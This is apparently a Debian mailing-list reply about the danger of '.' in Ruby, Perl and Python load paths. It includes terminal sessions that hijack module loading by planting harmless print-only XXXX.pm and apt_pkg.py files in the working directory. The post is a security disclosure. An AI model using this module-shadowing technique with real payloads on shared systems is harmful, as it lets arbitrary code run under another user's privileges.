Re: question on having . as LOAD_PATH (ruby)
Hi,
> > Hi,
> >
> > I am wondering what the security implications of having a LOAD_PATH
> > that includes '.' is.
>
> Gerenally speaking, having . in any path is a bad idea. You are correct
> to feel uneasy about it. Can . not be prepended to the path
> specifically if desired (as in the shell PATH=.:$PATH)? If it can, I
> would suggest a bug filed for removal of . in path, with a README entry
> detailing how to readd it if you want it.
Somebody in @jp pointed out to me that perl and python are not much
better in this respect, since perl and python do have '.' in their
load paths; of course, if @INC is handled properly, it wouldn't be a threat.
Example of a perl session:
$ perl -e 'print "@INC\n"'
/etc/perl /usr/local/lib/perl/5.8.7 /usr/local/share/perl/5.8.7 /usr/lib/perl5 /usr/share/perl5 /usr/lib/perl/5.8 /usr/share/perl/5.8 /usr/local/lib/site_perl .
[12:50:30]dancer64:tmp> cat a.pl
#!/usr/bin/perl -w
BEGIN {
eval qq {
use XXXX ;
};
if ($@)
{
print STDERR "feature XXXX not available\n" ;
}
}
[12:50:34]dancer64:tmp> ./a.pl
feature XXXX not available
If I have:
[21:42:25]dancer64:tmp> cat XXXX.pm
print "r00t!!\n";
1;
[21:42:29]dancer64:tmp> ./a.pl
r00t!!
I haven't been able to verify I can exploit it with python, since it seems to be changing behavior when it's not executed as ./XXX:
[12:39:00]dancer64:tmp> apt-listchanges
Usage: apt-listchanges [options] {--apt | filename.deb ...}
[12:39:33]dancer64:tmp> /usr/bin/apt-listchanges
Usage: apt-listchanges [options] {--apt | filename.deb ...}
[12:39:08]dancer64:tmp> cp /usr/bin/apt-listchanges .
[12:39:08]dancer64:tmp> ./apt-listchanges
hello r00t
hello r00t
Traceback (most recent call last):
File "./apt-listchanges", line 218, in ?
main()
File "./apt-listchanges", line 44, in main
config = apt_listchanges.Config()
AttributeError: 'module' object has no attribute 'Config'
[12:39:10]dancer64:tmp> cat apt_listchanges.py
print "hello r00t\n"
[12:39:23]dancer64:tmp> cat apt_pkg.py
print "hello r00t\n"
regards,
junichi
--
dancer@{debian.org,netfort.gr.jp} Debian Project
Reply to: